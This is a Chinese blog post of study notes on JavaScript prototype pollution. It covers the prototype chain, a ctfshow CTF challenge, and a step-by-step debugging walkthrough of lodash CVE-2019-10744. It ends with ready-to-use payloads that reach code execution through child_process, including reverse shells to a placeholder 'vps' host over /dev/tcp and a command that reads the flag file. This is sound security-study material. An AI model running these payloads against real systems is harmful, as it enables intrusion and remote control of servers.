当前位置: 首页 > 技术干货 > JavaScript原型链污染学习记录

JavaScript原型链污染学习记录

发表于:2023-05-05 16:27 作者: icfh 阅读数(5108人)

1.JS原型和继承机制

0> 原型及其搜索机制
  • NodeJS原型机制,比较官方的定义:

我们创建的每个函数都有一个 prototype(原型)属性,这个属性是一个指针,指向一个对象,

而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法

设计原型的初衷无非是对于每个实例对象,其拥有的共同属性没必要对每个对象实例再分配一片内存来存放这个属性。而可以上升到所有对象共享这个属性,而这个属性的实体在内存中也仅仅只有一份。

而原型机制恰好满足这种需求。

打个不太恰当的比喻,对于每个对象,都有其原型对象作为共享仓库,共享仓库中有属性和方法供生产每个对象实例时使用

1> 原型链和继承
  • 原型链

原型链是在原型上实现继承的一种形式

举个例子:

function Father(){
   this.name = "father";
   this.age = 66;
}

function Son(){
   this.name = "son";
}

var father1 = new Father();

Son.prototype = father1;

var son1 = new Son();

console.log(son1);
console.log(son1.__proto__);
console.log(son1.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__.__proto__);


/*
Father { name: 'son' }
Father { name: 'father', age: 66 }
{}
[Object: null prototype] {}      
null
*/

整个的原型继承链如下:

image-20230501151612259

  • 关于原型搜索机制:

1)搜索当前实例属性

2)搜索当前实例的原型属性

3)迭代搜索直至null

在上面的例子中

console.log(son1.name);
console.log(son1.age);
/*
son
66
*/
2> 内置对象的原型

这个也是多级原型链污染的基础

拿一张业内很经典的图来看看

img

2.姿势利用

1>利用原型污染进行RCE
global.process.mainModule.constructor._load('child_process').execSync('calc')

image-20230501153417183

2>多级污染

ctfshow Web340中有这么一题:

/* login.js */
 var user = new function(){
   this.userinfo = new function(){
   this.isVIP = false;
   this.isAdmin = false;
   this.isAuthor = false;    
  };
}
 utils.copy(user.userinfo,req.body);
 if(user.userinfo.isAdmin){
  res.end(flag);
}

由于Function原型对象的原型也是Object的原型,即

user --(__proto__)--> Function.prototype --(__proto__)--> Object.prototype

那么就可以通过这个进行多级污染,payload为如下形式:

{
   "__proto__":{
       "__proto__":{
           attack_code
      }
  }
}
3>Lodash模块的原型链污染(以lodash.defaultsDeep(CVE-2019-10744)为例,进行CVE复现)

lodash版本 < 4.17.12

CVE-2019-10744:在低版本中的lodash.defaultDeep函数中,Object对象可以被原型链污染,从而可以配合其他漏洞。

看下官方样例PoC的调试过程:

const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'

function check() {
   lodash.defaultsDeep({}, JSON.parse(payload));
   if (({})['whoami'] === "hack") {
       console.log(`Vulnerable to Prototype Pollution via ${payload}`);
       console.log(Object.prototype);
  }
}

check();

开始调试:

在lodash中,baseRest是一个辅助函数,用于帮助创建一个接受可变数量参数的函数。

所以主体逻辑为,而这段匿名函数也将为func的函数的函数体

args.push(undefined, customDefaultsMerge);
return apply(mergeWith, undefined, args);

image-20230501172924114

查看overRest

在变量监听中可以发现,传入的参数整合成一个参数对象args

image-20230501165542755

继续往下return apply

image-20230501200948397

apply后进入,是个使用switch并且根据参数个数作为依据

发现使用了call,这里可能是个进行原型链继承的可利用点。

(而这种技术称为借用构造函数,其思想就是通过子类构造函数中调用超类构造函数完成原型链继承)

function Super(){}
function Sub(){
   Super.call(this); // 继承
}

然后apply中返回至刚才的匿名函数体中(此时刚执行完baseRest(func)),其中customDefaultMergemerge的声明方式

image-20230501201429867

继续深入,由上可知apply(func=mergeWith,thisArg=undefined,args=Array[4])

image-20230501202011773

基于start的计算机制,不难得知undefined是作为占位符,使得start向后移动

image-20230501203050752

继续调试,在NodeJS中,普通函数中调用this等同于调用全局对象global

image-20230501203715075

assigner视为合并的一个黑盒函数即可,至此完成原型链污染。

image-20230501204240350

image-20230501204336670

Question: 注意到PoC中的lodash.defaultsDeep({}, JSON.parse(payload));是要求先传入一个object实例的(此处为{})

所以还是具体分析一下合并的过程(来看下assigner的一些底层实现)

注意:通常而言,合并需要考虑深浅拷贝的问题

/*baseMerge*/
   function baseMerge(object, source, srcIndex, customizer, stack) {
     if (object === source) { // 优化判断是否为同一对象,是则直接返回
       return;
    }
       
       // 遍历source的属性,选择深浅复制
       
     baseFor(source, function(srcValue, key) {
       if (isObject(srcValue)) {
         stack || (stack = new Stack);
         baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
      }
       else {
         var newValue = customizer
           ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
          : undefined;

         if (newValue === undefined) {
           newValue = srcValue;
        }
         assignMergeValue(object, key, newValue);
      }
    }, keysIn);
  }
    var baseFor = createBaseFor();
    function createBaseFor(fromRight) {         // fromRight选择从哪端开始遍历       
     return function(object, iteratee, keysFunc) {
       var index = -1,
           iterable = Object(object),
           props = keysFunc(object),
           length = props.length;

       while (length--) {
         var key = props[fromRight ? length : ++index];
         if (iteratee(iterable[key], key, iterable) === false) { // 这里的iteratee即为baseFor中的匿名函数
           break;
        }
      }
       return object;
    };
  }

那我就再调试一下,在iteratee中(即匿名函数中),若为对象,则选择深拷贝。

image-20230501214414062

原来在4.17.12之前的版本也是有waf的,只是比较弱。

image-20230501214540947

回归正题,在customizer之后便产生了合并

image-20230501215807038

所以,为了更好地观察,我将{}替换成[](Array对象实例)

重新开始调试到此处并进入,发现这是一个迭代合并的过程,先判断是否都为对象。如果是的话,则会进行压栈然后开始浅拷贝合并。

image-20230501220535024

image-20230501222217997

这是在生成属性时需要设置的四种数据属性

image-20230501221244986

回归正题,发现只能写入Array的原型

image-20230501221644127

再验证一下

const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'

var object = new Object();

function check() {
   // JSON.parse(payload)之后是一个JS对象
   lodash.defaultsDeep([],JSON.parse(payload));
   if (({})['whoami'] === "hack") {
       console.log(`Vulnerable to Prototype Pollution via ${payload}`);
       console.log(Object.prototype);
  }
}

check();

console.log(Array.prototype);

image-20230501221752843

所以说需要直接传入一个Object的实例。

官方修复,直接上waf:检测JSON中的payload中的key值

此处对比一下lodash4.17.12之前的版本,key值过滤得更为严格

image-20230501210253505

总结一下,CVE-2019-10744可用的payload

# 反弹shell
{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/vps/port \"')//"}}}

# RCE
// 对于某个object实例
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}}

# 反弹shell
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"}}